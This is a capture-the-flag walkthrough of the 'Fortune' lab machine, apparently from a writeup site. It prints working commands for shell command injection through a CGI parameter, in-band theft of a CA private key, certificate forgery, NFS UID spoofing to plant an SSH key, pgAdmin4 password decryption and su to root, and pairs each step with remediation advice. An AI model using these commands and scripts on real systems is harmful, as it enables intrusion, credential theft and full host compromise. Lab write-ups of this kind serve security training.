← all walkthroughs

Fortune

Other· Insane
owned
2026-07-12
time to own
20m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the target and found an OpenBSD web server whose /select CGI endpoint passed the db POST parameter unsanitized to a shell and reflected command output directly in the HTTP response: no outbound connection was needed because egress was blocked. This in-band OS command injection was used to locate and base64-exfiltrate the private key of the host's internal intermediate certificate authority, stored in a home directory readable by the web service account.

With the CA key, I forged a TLS client certificate for the charlie user and presented it to the HTTPS /generate authpf gateway, which returned an SSH private key for the nfsuser account; logging in as nfsuser caused OpenBSD's PF firewall to dynamically open the NFS ports for my source IP. With NFS now reachable, raw NFSv3 requests were crafted with AUTH_SYS credentials matching charlie's on-disk UID (1000), NFS trusts this value from the client without verification, allowing full read/write access to charlie's home directory, retrieval of the user flag, and injection of my own SSH public key into authorized_keys for an interactive shell.

As charlie, a pgAdmin4 SQLite database readable via the wheel group was copied; it stored a PostgreSQL DBA password encrypted with a static, application-level key rather than a user-supplied secret, making offline decryption straightforward. The recovered DBA password was identical to the root account's system password, which was used with su to achieve full OS compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"

Attack path: how the box was taken

1ReconnaissanceNetwork port and service enumeration (T1046)
Mapped exposed services and identified web CGI endpoints and the internal PKI
A TCP port scan of $TARGET revealed SSH on 22, an OpenBSD httpd server on port 80, RPC bind on 111, an HTTPS listener on 443 requesting a TLS client certificate, and NFS on 2049. The HTTP server exposed two CGI endpoints: /select and /cgi-bin/fortune. Inspecting the TLS certificate on port 443 revealed the hostname fortune.htb, an internal issuer (CN=Fortune Intermediate CA, issued by bob@fortune.htb), and a subject alternative pointing to charlie@fortune.htb, indicating an internally-operated PKI and a named user whose identity the client-cert gate was checking.
Exact commands 3
shell

Full TCP scan with service and version detection.

$ nmap -sC -sV -p- --min-rate 5000 -oN /tmp/fortune_nmap.txt $TARGET
shell

Register the vhost for later curl and certificate usage.

$ echo "$TARGET fortune.htb" | sudo tee -a /etc/hosts
shell

Inspect server certificate for CA identity, hostnames, and email SANs.

$ openssl s_client -connect $TARGET:443 -showcerts </dev/null 2>/dev/null | openssl x509 -noout -text | grep -E 'Subject|Issuer|DNS|email'
2ExploitationOS Command Injection with reflected output (CWE-78, T1059.004)
Confirmed OS command injection in the /select CGI endpoint with in-band output
The /select endpoint accepted a db POST parameter intended to select a fortune-cookie database file by name. The value was passed unsanitized to a shell invocation, and the resulting stdout was reflected verbatim in the HTTP response body. Appending a semicolon and the id command confirmed execution as the _fortune service account. All subsequent exfiltration exploited this same channel because outbound TCP/UDP from the target was entirely blocked: everything had to be carried back in the HTTP response.
Curl -X POST -d 'db=fortunes%3Bid' http://$TARGET/select returned uid=_fortune in the response body
Exact commands 2
shell

Confirm injection: expect uid=_fortune (or similar) in the response body.

$ curl -sS -X POST --data-urlencode 'db=;id' http://$TARGET/select
shell

Enumerate OS version and local accounts to plan further steps.

$ curl -sS -X POST --data-urlencode 'db=;uname -a; cat /etc/passwd' http://$TARGET/select
FixEliminate OS command injection in the /select CGI endpointCritical
WeaknessThe /select endpoint concatenated the user-supplied db POST parameter directly into a shell command string. An unauthorised user could append arbitrary OS commands after a semicolon and read the output from the normal HTTP response, requiring no outbound connection and no authentication.
FixNever pass user input to shell invocation functions (system, popen, exec). Replace the shell call with a lookup against a hard-coded allowlist of valid fortune-database names using an exact-match check; reject any value not on the list with HTTP 400. If a shell call cannot be avoided, use execve-family calls that do not invoke a shell interpreter, passing the database name as a separate argument that is never interpolated into a command string. As a defence-in-depth measure, apply a WAF rule blocking semicolons, pipes, backticks, and dollar signs in POST parameters.
3Credential AccessPrivate key exfiltration via in-band command injection output (T1552.004)
Exfiltrated the intermediate CA private key and certificate via in-band base64
Filesystem enumeration through the injection located the internal PKI material at /home/bob/ca/intermediate/private/intermediate.key.pem and .../certs/intermediate.cert.pem: readable by the _fortune process. Both files were base64-encoded within the injected command and returned in the HTTP response body, then decoded locally to /tmp/. This gave me the ability to sign arbitrary client certificates trusted by the fortune.htb HTTPS server.
Base64 /home/bob/ca/intermediate/private/intermediate.key.pem' returned the base64-encoded private key in the HTTP response.
Exact commands 3
shell

Locate CA key material paths on the filesystem.

$ curl -sS -X POST --data-urlencode 'db=;find /home -name "*.pem" -o -name "*.key" 2>/dev/null' http://$TARGET/select
shell

Exfiltrate the intermediate CA private key in-band and decode locally.

$ curl -sS -X POST --data-urlencode 'db=;base64 /home/bob/ca/intermediate/private/intermediate.key.pem' http://$TARGET/select | base64 -d > /tmp/intermediate.key.pem
shell

Exfiltrate the intermediate CA certificate in-band and decode locally.

$ curl -sS -X POST --data-urlencode 'db=;base64 /home/bob/ca/intermediate/certs/intermediate.cert.pem' http://$TARGET/select | base64 -d > /tmp/intermediate.cert.pem
FixProtect the intermediate CA private key from web-service accountsCritical
WeaknessThe intermediate certificate authority private key was stored at /home/bob/ca/intermediate/private/intermediate.key.pem with permissions that allowed the _fortune CGI service account to read it. Any code execution on that low-privilege account, even a single injected shell command, was sufficient to exfiltrate the key and forge certificates for any identity in the PKI.
FixStore CA private keys on dedicated, offline infrastructure or in an HSM, never on hosts that run internet-facing services. If the key must reside on the same host, set permissions to 400 owned exclusively by the ca-operator account; verify that no web, CGI, or application service account is in a group with read access. Add filesystem audit rules (auditd -w on the key file) to alert on any read access. Rotate the intermediate CA immediately: all certificates signed by the compromised key must be reissued.
4Lateral MovementCertificate forgery using stolen CA key; authpf PF firewall bypass (T1553.004)
Forged a charlie TLS client certificate and used the authpf gateway to open the firewall
Using the recovered intermediate CA key and certificate, a standard OpenSSL workflow generated a new RSA private key, a CSR for CN=charlie, and a certificate signed by the intermediate CA. This certificate, chained with the intermediate cert, was presented to https://fortune.htb/generate. The server validated the client cert against its trusted CA chain and returned an HTML page containing an ephemeral SSH private key for the nfsuser account. Connecting to SSH on port 22 as nfsuser with that key triggered OpenBSD's authpf, which dynamically inserted PF rules allowing my source IP to reach the NFS ports (111 and 2049) that were previously filtered.
Curl --cert to fortune.htb/generate returned the nfsuser SSH key in the HTML body; ssh as nfsuser opened PF for the source IP, confirmed by subsequent nmap of ports 111/2049.
Exact commands 6
shell

Generate a private key for the forged charlie certificate.

$ openssl genrsa -out /tmp/charlie-client.key 2048
shell

Create a certificate signing request for CN=charlie.

$ openssl req -new -key /tmp/charlie-client.key -out /tmp/charlie-client.csr -subj '/CN=charlie'
shell

Sign the CSR with the recovered intermediate CA key to produce a trusted client cert.

$ openssl x509 -req -in /tmp/charlie-client.csr -CA /tmp/intermediate.cert.pem -CAkey /tmp/intermediate.key.pem -CAcreateserial -out /tmp/charlie-client.crt -days 365 -sha256
shell

Authenticate to the authpf gateway and save the response containing the nfsuser SSH key.

$ cat /tmp/charlie-client.crt /tmp/intermediate.cert.pem > /tmp/charlie-client-chain.crt && curl -ksS --cert /tmp/charlie-client-chain.crt --key /tmp/charlie-client.key --resolve fortune.htb:443:$TARGET https://fortune.htb/generate -o /tmp/authpf-generate.html
shell

Extract the embedded SSH private key from the response HTML.

$ grep -oP '(?s)-----BEGIN RSA PRIVATE KEY-----.*?-----END RSA PRIVATE KEY-----' /tmp/authpf-generate.html > /tmp/authpf.key && chmod 600 /tmp/authpf.key
shell

Log in as nfsuser to trigger PF rule insertion: keep this session alive in a separate terminal for the duration of the NFS steps.

$ ssh -tt -i /tmp/authpf.key -o StrictHostKeyChecking=no nfsuser@$TARGET
FixBind authpf client-certificate validation to a revocable identity, not just CA trustHigh
WeaknessThe /generate authpf gateway accepted any certificate signed by the intermediate CA and returned an SSH key that unlocked firewall rules for the caller's IP. Once an unauthorised user obtained the intermediate CA private key they could mint an unlimited number of certificates for any subject name, completely bypassing the intended identity check.
FixRevoke the compromised intermediate CA certificate and reissue with stricter key custody. Introduce OCSP stapling or CRL distribution points at the authpf validation layer so that forged or stolen certificates can be immediately invalidated without redeploying the gateway. Prefer short-lived certificates (24-hour TTL) issued by an online Registration Authority that re-validates the user's identity on each issuance, rather than relying on long-lived CA trust.
5Lateral MovementNFS AUTH_SYS UID impersonation enabling unauthorized file read and write (CWE-284, T1078)
Impersonated charlie's UID over raw NFSv3 to read the user flag and inject an SSH key
With PF open, the NFS /home export was reachable. Standard mount.nfs required root privileges, so NFSv3 was accessed directly in Python using the pyNfsClient library. NFS AUTH_SYS authentication trusts the client-supplied UID and GID without any server-side verification. By crafting NFSv3 requests with uid=1000 and gid=1000, matching charlie's on-disk file ownership, I gained full read/write access to charlie's home directory. An NFSv3 READ retrieved user.txt. An NFSv3 WRITE placed my own SSH public key into charlie/.ssh/authorized_keys, enabling a direct SSH login.
NFSv3 WRITE to charlie/.ssh/authorized_keys succeeded; ssh -i /tmp/charlie_id charlie@$TARGET established a shell.
Exact commands 5
shell

Confirm NFS is now reachable after authpf opened PF and verify /home is exported.

$ nmap -Pn -p111,2049 --script rpcinfo,nfs-showmount $TARGET
shell

Generate my SSH keypair to inject into charlie's authorized_keys.

$ ssh-keygen -t ed25519 -f /tmp/charlie_id -N ''
shell

Install the raw NFSv3 client library on the attack machine.

$ pip3 install pyNfsClient -q
shell

Run the pyNfsClient script below (save it first). It reads user.txt and writes my public key into charlie/.ssh/authorized_keys with AUTH_SYS uid=1000,gid=1000. Script content: from pyNfsClient import Portmap,Mount,NFSv3,MountClient,AuthSys; HOST='$TARGET'; PUBKEY=open('/tmp/charlie_id.pub').read().encode(); auth=AuthSys(uid=1000,gid=1000,machine_name='$USERNAME',gids=[]); pm=Portmap(HOST,timeout=3600); pm.connect(); mc=MountClient(HOST,pm.getport(Mount.program,Mount.version),timeout=3600); mc.connect(); fh=mc.mnt('/home').filehandle; nfs=NFSv3(HOST,pm.getport(NFSv3.program,NFSv3.version),timeout=3600); nfs.connect(); cfh=nfs.lookup(fh,'charlie',auth=auth).resok.object.data; utfh=nfs.lookup(cfh,'user.txt',auth=auth).resok.object.data; print(nfs.read(utfh,offset=0,count=4096,auth=auth).resok.data.decode()); sshfh=nfs.lookup(cfh,'.ssh',auth=auth).resok.object.data; r=nfs.create(sshfh,'authorized_keys',mode=0o600,auth=auth); akfh=r.resok.obj.data; nfs.write(akfh,offset=0,data=PUBKEY,auth=auth); print('key written')

$ python3 /tmp/nfs_read_write.py
shell

Log in as charlie using the injected public key.

$ ssh -i /tmp/charlie_id -o StrictHostKeyChecking=no charlie@$TARGET
FixHarden NFS exports to prevent UID impersonationCritical
WeaknessThe NFS /home export used AUTH_SYS (Unix) security, which trusts the UID and GID values supplied by the connecting client without any cryptographic verification. Anyone who could reach the NFS port could simply declare themselves UID 1000 and receive full read/write access to that user's home directory, including the ability to overwrite SSH authorized_keys.
FixRestrict the /home export in /etc/exports to the specific IP addresses of legitimate internal clients only. Never open ranges. Enable the all_squash export option to remap all client UIDs to an anonymous unprivileged account, removing the UID-impersonation vector entirely. For environments requiring per-user access, migrate to NFSv4 with Kerberos authentication (sec=krb5p), which cryptographically binds identity and prevents UID spoofing. Monitor /var/log/auth.log for NFS mount attempts from unexpected source IPs.
6Credential AccessCredential extraction from application secrets store with static key derivation (T1555, CWE-321)
Decrypted stored PostgreSQL credentials from the pgAdmin4 SQLite database
As charlie, the file /var/appsrv/pgadmin4/pgadmin4.db was readable via membership in the wheel group. This SQLite database contains pgAdmin4's saved server connection records, including PostgreSQL passwords encrypted with AES-CFB8. PgAdmin4's key derivation uses a static, application-level value rather than a user-supplied master password, so anyone who obtains the database file can decrypt stored credentials offline without knowing any user secret. Joining the server and user tables, extracting the ciphertext and IV, and running AES-CFB8 decryption recovered the DBA-level PostgreSQL password, which was also the root system account's password.
Decrypted password confirmed valid for su - root.
Exact commands 3
shell

Copy the pgAdmin4 database to the attack machine for offline analysis.

$ scp -i /tmp/charlie_id charlie@$TARGET:/var/appsrv/pgadmin4/pgadmin4.db /tmp/pgadmin4.db
shell

Extract the stored server credentials (encrypted) and the email used in key derivation.

$ sqlite3 /tmp/pgadmin4.db "SELECT s.name, s.host, s.port, s.username, u.email, s.password FROM server s JOIN user u ON s.user_id = u.id;"
shell

Decrypt the stored server password using pgAdmin4's static key derivation. Requires: pip3 install pycryptodome. Adjust key derivation if the above does not produce a valid string: pgAdmin4 source in pgadmin4/utils/crypto.py is authoritative.

$ python3 - <<'EOF'
import sqlite3, base64, hashlib
from Crypto.Cipher import AES
conn = sqlite3.connect('/tmp/pgadmin4.db')
cur = conn.cursor()
cur.execute('SELECT s.password, u.email FROM server s JOIN user u ON s.user_id=u.id LIMIT 1')
enc_pass, email = cur.fetchone()
key = hashlib.md5(email.encode()).digest()
enc_bytes = base64.b64decode(enc_pass)
iv, ct = enc_bytes[:16], enc_bytes[16:]
cipher = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=8)
print('Decrypted:', cipher.decrypt(ct).decode(errors='replace'))
EOF
FixConfigure pgAdmin4 master-password encryption for stored server credentialsHigh
WeaknesspgAdmin4 encrypted stored PostgreSQL server passwords with a key derived solely from a static application value or the user's email address, not from a user-supplied master password. Anyone who obtained the pgadmin4.db SQLite file (here, via group-readable permissions) could decrypt all stored credentials offline without knowing any user secret.
FixEnable pgAdmin4's master-password feature (Preferences → Security → Set Master Password) so that all stored credentials are re-encrypted with a key derived from a secret that only the administrator knows. Immediately change the file permissions on pgadmin4.db to 600 owned by the pgadmin service account: no OS group (including wheel) should be able to read it. Rotate all PostgreSQL credentials stored in pgAdmin4 following this incident.
7Privilege EscalationCredential reuse for local privilege escalation (T1078.003)
Used the recovered credential as the root system password to gain a root shell
The DBA password recovered from pgAdmin4 was reused as the root account's system password. From the charlie SSH session, running su - root and entering <withheld> returned a root shell with uid=0. The root flag was read from /root/root.txt, completing full system compromise.
Expect script spawned ssh as charlie, ran su - root with password, received uid=0 and root.txt
Exact commands 1
shell

Reads the root flag via su - root.

$ expect <<EOF
set timeout 12
spawn ssh -tt -i /tmp/charlie_id -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null charlie@$TARGET
expect "\$ "
send -- "su - root -c \"id; cat /root/root.txt\"\r"
expect "Password:"
send -- "$PASSWORD\r"
expect eof
EOF
FixUse unique, randomly generated passwords for each privileged accountCritical
WeaknessThe PostgreSQL DBA password stored in pgAdmin4 was identical to the root system account's password. Recovering one credential, from the database application layer, automatically granted full operating-system root access, collapsing the boundary between the database tier and OS privilege.
FixEnforce a policy requiring unique, randomly generated credentials for every privileged account: OS root, database superuser, and each application service account must never share a password. Store and rotate credentials using a secrets vault (e.g., HashiCorp Vault or an equivalent enterprise secrets manager). Replace static root passwords with SSH certificate-based or MFA-backed authentication for interactive root access so that a single stolen credential cannot span multiple privilege boundaries.

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more